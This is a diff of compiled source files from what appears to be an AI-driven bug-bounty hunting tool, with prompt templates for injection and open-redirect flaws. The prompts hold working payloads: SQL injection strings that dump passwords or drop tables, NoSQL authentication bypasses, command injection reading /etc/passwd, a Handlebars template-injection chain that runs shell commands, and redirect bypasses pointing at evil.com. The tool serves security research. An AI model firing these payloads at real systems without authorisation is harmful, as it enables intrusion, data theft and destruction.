@@ -0,0 +1,29 @@
1
+ import { csrfBypass } from './csrf-bypass.js';
2
+ import { ssrf } from './ssrf.js';
3
+ import { weakRandom } from './weak-random.js';
4
+ import { authBypass } from './auth-bypass.js';
5
+ import { corsMisconfig } from './cors-misconfig.js';
6
+ import { pathTraversal } from './path-traversal.js';
7
+ import { injection } from './injection.js';
8
+ import { openRedirect } from './open-redirect.js';
9
+ import { prototypePollution } from './prototype-pollution.js';
10
+ import { timingAttack } from './timing-attack.js';
11
+ const templates = [
12
+ csrfBypass,
13
+ ssrf,
14
+ weakRandom,
15
+ authBypass,
16
+ corsMisconfig,
17
+ pathTraversal,
18
+ injection,
19
+ openRedirect,
20
+ prototypePollution,
21
+ timingAttack,
22
+ ];
23
+ export function getAllTemplates() {
24
+ return templates;
25
+ }
26
+ export function getTemplateById(id) {
27
+ return templates.find(t => t.id === id);
28
+ }
29
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/hunt/templates/index.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,aAAa,EAAE,MAAM,qBAAqB,CAAC;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,qBAAqB,CAAC;AACpD,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAC3C,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAClD,OAAO,EAAE,kBAAkB,EAAE,MAAM,0BAA0B,CAAC;AAC9D,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAElD,MAAM,SAAS,GAA4B;IACzC,UAAU;IACV,IAAI;IACJ,UAAU;IACV,UAAU;IACV,aAAa;IACb,aAAa;IACb,SAAS;IACT,YAAY;IACZ,kBAAkB;IAClB,YAAY;CACb,CAAC;AAEF,MAAM,UAAU,eAAe;IAC7B,OAAO,SAAS,CAAC;AACnB,CAAC;AAED,MAAM,UAAU,eAAe,CAAC,EAAU;IACxC,OAAO,SAAS,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,EAAE,CAAC,CAAC;AAC1C,CAAC"}
@@ -0,0 +1,2 @@
1
+ import type { VulnerabilityTemplate } from '../../types.js';
2
+ export declare const injection: VulnerabilityTemplate;
@@ -0,0 +1,103 @@
1
+ export const injection = {
2
+ id: 'injection',
3
+ name: 'Injection (SQL, NoSQL, Command)',
4
+ cwe: 'CWE-89',
5
+ filePatterns: ['query', 'exec', 'eval', 'sql', 'mongo', 'command', 'shell', 'spawn', 'template'],
6
+ negativePatterns: ['prisma', 'drizzle', 'typeorm', 'sequelize', 'knex', 'mongoose'],
7
+ minMatchScore: 2,
8
+ triagePrompt: `You are a security researcher hunting for injection vulnerabilities (SQL, NoSQL, command injection).
9
+
10
+ Analyze the code for places where user input is concatenated into queries, commands, or evaluated expressions without proper parameterization or sanitization. Focus on:
11
+ 1. Raw SQL string construction — is user input interpolated into SQL via template literals or concatenation?
12
+ 2. NoSQL operator injection — can user input supply MongoDB operators like $gt, $regex, $where?
13
+ 3. Command injection — is user input passed to child_process.exec(), execSync(), or spawn with shell: true?
14
+ 4. Template injection — is user input rendered via a template engine (handlebars, ejs, pug) without escaping?
15
+ 5. eval() or Function() calls — is user-controlled data passed to JavaScript's eval?
16
+ 6. Database escape bypasses — does custom sanitization miss edge cases that parameterized queries handle natively?
17
+
18
+ KNOWN BYPASS TECHNIQUES:
19
+ - String interpolation: \`SELECT * FROM users WHERE name = '\${name}'\` — classic SQL injection
20
+ - NoSQL operator: if body is JSON, {password: {$gt: ""}} bypasses equality check in MongoDB
21
+ - Command injection: exec('ls ' + userInput) — user provides '; cat /etc/passwd'
22
+ - spawn shell:true: spawn('bash', ['-c', 'ls ' + userInput]) same risk as exec
23
+ - Template injection (SSTI): {{7*7}} in Handlebars, <%= 7*7 %> in EJS — escalates to RCE
24
+ - Second-order injection: stored value is safe at insert but injected when later used in a query
25
+ - ORM raw queries: orm.query("SELECT * FROM t WHERE id = " + id) — ORMs still have raw query escapes
26
+
27
+ WHAT TO LOOK FOR:
28
+ - Template literal SQL: \`SELECT... WHERE id = \${req.params.id}\`
29
+ - String concat: "SELECT..." + userValue + "..."
30
+ - db.collection.find({ username: req.body.username }) where body is JSON (type not enforced)
31
+ - exec(\`cmd \${userInput}\`) or execSync with user data
32
+ - eval(userInput) anywhere
33
+
34
+ FRAMEWORK-SPECIFIC RISKS:
35
+ - MongoDB: req.body passed directly to find() — JSON body allows operator injection
36
+ - Redis: if EVAL or raw command strings accept user data
37
+ - Elasticsearch: query string parameters passed to _search API
38
+
39
+ RELEVANT SPECIFICATIONS:
40
+ - OWASP Injection Prevention Cheat Sheet
41
+ - CWE-89 (SQL Injection), CWE-943 (NoSQL Injection), CWE-78 (OS Command Injection)`,
42
+ deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an injection vulnerability.
43
+
44
+ Given the hypothesis below, verify whether the vulnerability is real and exploitable.
45
+
46
+ Build a complete attack scenario:
47
+ 1. What user-controlled value reaches the query/command without sanitization?
48
+ 2. What is the injection point (SQL, NoSQL operator, shell command, template expression)?
49
+ 3. What payload triggers the vulnerability?
50
+ 4. What data can be exfiltrated, or what command can be run on the server?
51
+ 5. Provide a concrete HTTP request or payload as proof-of-concept.
52
+
53
+ SQL INJECTION EXPLOITATION LADDER:
54
+ - Boolean-based: ' OR '1'='1 → ' OR '1'='2 → enumerate DB
55
+ - Union-based: ' UNION SELECT username, password FROM users --
56
+ - Error-based: ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
57
+ - Time-based blind: ' OR SLEEP(5) --
58
+ - Out-of-band: ' UNION SELECT LOAD_FILE('/etc/passwd') --
59
+ - Stacked queries (PostgreSQL/SQL Server): '; DROP TABLE users --
60
+
61
+ NOSQL INJECTION PAYLOADS:
62
+ \`\`\`json
63
+ // Authentication bypass
64
+ {"username": "admin", "password": {"$gt": ""}}
65
+ // Regex extraction
66
+ {"username": {"$regex": "^adm"}}
67
+ // $where (if enabled)
68
+ {"$where": "this.password.match(/.*/)"}
69
+ \`\`\`
70
+
71
+ COMMAND INJECTION PAYLOADS:
72
+ - Basic: ; whoami
73
+ - Subshell: $(whoami)
74
+ - Pipe: | cat /etc/passwd
75
+ - Background: && sleep 5 (time-based blind)
76
+ - Newline: \\nwhoami (if input used in shell heredoc)
77
+
78
+ TEMPLATE INJECTION:
79
+ - Handlebars: {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}
80
+
81
+ RELEVANT SPECIFICATIONS:
82
+ - OWASP Injection Prevention Cheat Sheet
83
+ - CWE-89 (SQL Injection)
84
+ - CWE-78 (OS Command Injection)`,
85
+ knownBypasses: [
86
+ 'Template literal SQL: `SELECT WHERE id = \${userInput}`',
87
+ 'MongoDB operator injection: {password: {$gt: ""}}',
88
+ 'Command injection via exec() with shell interpolation',
89
+ 'spawn() with shell: true — same risk as exec()',
90
+ 'Template engine SSTI → RCE (Handlebars, EJS)',
91
+ 'Second-order injection (stored then retrieved into query)',
92
+ 'ORM raw query escape hatch',
93
+ 'NoSQL $where clause with JavaScript execution',
94
+ ],
95
+ specReferences: [
96
+ 'OWASP Injection Prevention Cheat Sheet',
97
+ 'CWE-89 (SQL Injection)',
98
+ 'CWE-943 (NoSQL Injection)',
99
+ 'CWE-78 (OS Command Injection)',
100
+ ],
101
+ severityRange: ['high', 'critical'],
102
+ };
103
+ //# sourceMappingURL=injection.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"injection.js","sourceRoot":"","sources":["../../../src/hunt/templates/injection.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,SAAS,GAA0B;IAC9C,EAAE,EAAE,WAAW;IACf,IAAI,EAAE,iCAAiC;IACvC,GAAG,EAAE,QAAQ;IACb,YAAY,EAAE,CAAC,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,OAAO,EAAE,SAAS,EAAE,OAAO,EAAE,OAAO,EAAE,UAAU,CAAC;IAChG,gBAAgB,EAAE,CAAC,QAAQ,EAAE,SAAS,EAAE,SAAS,EAAE,WAAW,EAAE,MAAM,EAAE,UAAU,CAAC;IACnF,aAAa,EAAE,CAAC;IAChB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;mFAiCmE;IAEjF,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;gCA0Cc;IAE9B,aAAa,EAAE;QACb,yDAAyD;QACzD,mDAAmD;QACnD,uDAAuD;QACvD,gDAAgD;QAChD,8CAA8C;QAC9C,2DAA2D;QAC3D,4BAA4B;QAC5B,+CAA+C;KAChD;IACD,cAAc,EAAE;QACd,wCAAwC;QACxC,wBAAwB;QACxB,2BAA2B;QAC3B,+BAA+B;KAChC;IACD,aAAa,EAAE,CAAC,MAAM,EAAE,UAAU,CAAC;CACpC,CAAC"}
@@ -0,0 +1,2 @@
1
+ import type { VulnerabilityTemplate } from '../../types.js';
2
+ export declare const openRedirect: VulnerabilityTemplate;
@@ -0,0 +1,93 @@
1
+ export const openRedirect = {
2
+ id: 'open-redirect',
3
+ name: 'Open Redirect',
4
+ cwe: 'CWE-601',
5
+ filePatterns: ['redirect', 'location', 'url', 'return', 'next', 'callback', 'continue', 'goto'],
6
+ triagePrompt: `You are a security researcher hunting for open redirect vulnerabilities.
7
+
8
+ Analyze the code for places where user-controlled input is used to construct redirect destinations without adequate validation. Focus on:
9
+ 1. Direct parameter use — is a 'redirect', 'next', 'return', or 'callback' query parameter passed directly to a redirect?
10
+ 2. Host validation — does validation check only that the URL contains a trusted domain, not that the domain IS the host?
11
+ 3. Protocol filtering — are dangerous protocols (javascript:, data:, vbscript:) explicitly blocked?
12
+ 4. Relative vs absolute — does the code attempt to make URLs relative but miss protocol-relative cases?
13
+ 5. Post-auth redirects — are redirect parameters preserved through login flows and honored post-authentication?
14
+ 6. Double encoding — does the server decode the redirect target once, allowing a second decode to escape validation?
15
+
16
+ KNOWN BYPASS TECHNIQUES:
17
+ - Protocol-relative URL: //evil.com/ — browser treats as https://evil.com on HTTPS pages
18
+ - Backslash: /\\evil.com — some browsers normalize to //evil.com, causing redirect to evil.com
19
+ - Data URI: data:text/html,<script>location='https://evil.com'</script>
20
+ - javascript: URI: javascript:location.href='https://evil.com'
21
+ - Encoded characters: /%65%76%69%6c.com (hex encoding of 'evil')
22
+ - Unicode chars: /℃evil.com — some normalizers resolve to /cevil.com, confusing parsers
23
+ - Newline injection: /redirect?url=https://good.com%0d%0aSet-Cookie:session=evil (header injection)
24
+ - Subdomain trick: https://trusted.com.evil.com/ passes contains('trusted.com') check
25
+
26
+ COMMON CODE PATTERNS TO FLAG:
27
+ - res.redirect(req.query.redirect) with no validation
28
+ - window.location = searchParams.get('next') in frontend code
29
+ - Header injection: Location: \${userValue} in raw HTTP response building
30
+ - allowedDomains.some(d => url.includes(d)) — contains check, not host equality
31
+
32
+ RELEVANT SPECIFICATIONS:
33
+ - CWE-601 (URL Redirection to Untrusted Site)
34
+ - RFC 7231 Section 7.1.2: Location header format`,
35
+ deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an open redirect vulnerability.
36
+
37
+ Given the hypothesis below, verify whether the vulnerability is real and exploitable.
38
+
39
+ Build a complete attack scenario:
40
+ 1. What parameter or input controls the redirect destination?
41
+ 2. What validation (if any) is applied, and how is it bypassed?
42
+ 3. What is the attack? (Phishing, OAuth token theft, credential harvesting)
43
+ 4. Provide a concrete URL that triggers the redirect to an attacker-controlled site.
44
+ 5. Explain why this is high/medium severity in this specific application context.
45
+
46
+ ATTACK SCENARIOS BY SEVERITY:
47
+ - OAuth redirect_uri open redirect → token theft: attacker crafts authorization URL with /callback?code=...&next=//evil.com, authorization code leaked in Referer header to evil.com → CRITICAL
48
+ - Post-login redirect → phishing: /login?next=//evil.com redirects user to fake login page after auth → HIGH
49
+ - Standalone redirect → phishing: /redirect?url=//evil.com — lower trust, still exploitable → MEDIUM
50
+
51
+ BYPASS PAYLOAD MATRIX:
52
+ \`\`\`
53
+ //evil.com (protocol-relative)
54
+ /\\evil.com (backslash normalization)
55
+ https://trusted.com@evil.com (credentials in URL, host is evil.com)
56
+ https://trusted.com.evil.com (subdomain of attacker)
57
+ javascript:alert(1) (javascript: URI)
58
+ data:text/html,<meta http-equiv=refresh content=0;url=https://evil.com>
59
+ %2f%2fevil.com (encoded //)
60
+ /%09/evil.com (tab character between slashes)
61
+ \`\`\`
62
+
63
+ OAUTH TOKEN THEFT SCENARIO:
64
+ 1. Application has /auth/callback?code=...&next=<redirect>
65
+ 2. Authorization server redirects to this callback with the code
66
+ 3. Code is processed, then response redirects to 'next' parameter
67
+ 4. Attacker sets next=https://evil.com — Referer header leaks code/token to evil.com
68
+
69
+ EVIDENCE TO INCLUDE:
70
+ - The full URL with bypass payload
71
+ - The HTTP 3xx response with the Location header showing evil.com
72
+ - Whether the victim's authenticated session cookies are also sent (most damaging case)
73
+
74
+ RELEVANT SPECIFICATIONS:
75
+ - CWE-601: URL Redirection to Untrusted Site
76
+ - RFC 7231 Section 7.1.2: Location header must be an absolute-form or relative reference`,
77
+ knownBypasses: [
78
+ 'Protocol-relative URL: //evil.com/ bypasses https:// prefix check',
79
+ 'Backslash normalization: /\\evil.com treated as //evil.com by browsers',
80
+ 'URL credentials: https://trusted.com@evil.com (host is evil.com)',
81
+ 'Subdomain trick: trusted.com.evil.com passes contains() check',
82
+ 'javascript: URI for same-origin XSS',
83
+ 'Double encoding: %252f%252fevil.com → %2f%2f → //evil.com',
84
+ 'Newline injection in Location header (header splitting)',
85
+ 'data: URI with meta-refresh',
86
+ ],
87
+ specReferences: [
88
+ 'CWE-601 (URL Redirection to Untrusted Site)',
89
+ 'RFC 7231 Section 7.1.2 (Location header)',
90
+ ],
91
+ severityRange: ['low', 'medium'],
92
+ };
93
+ //# sourceMappingURL=open-redirect.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"open-redirect.js","sourceRoot":"","sources":["../../../src/hunt/templates/open-redirect.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,YAAY,GAA0B;IACjD,EAAE,EAAE,eAAe;IACnB,IAAI,EAAE,eAAe;IACrB,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,UAAU,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,MAAM,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,CAAC;IAC/F,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;iDA4BiC;IAE/C,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;yFAyCuE;IAEvF,aAAa,EAAE;QACb,mEAAmE;QACnE,wEAAwE;QACxE,kEAAkE;QAClE,+DAA+D;QAC/D,qCAAqC;QACrC,2DAA2D;QAC3D,yDAAyD;QACzD,6BAA6B;KAC9B;IACD,cAAc,EAAE;QACd,6CAA6C;QAC7C,0CAA0C;KAC3C;IACD,aAAa,EAAE,CAAC,KAAK,EAAE,QAAQ,CAAC;CACjC,CAAC"}
@@ -0,0 +1,2 @@
1
+ import type { VulnerabilityTemplate } from '../../types.js';
2
+ export declare const pathTraversal: VulnerabilityTemplate;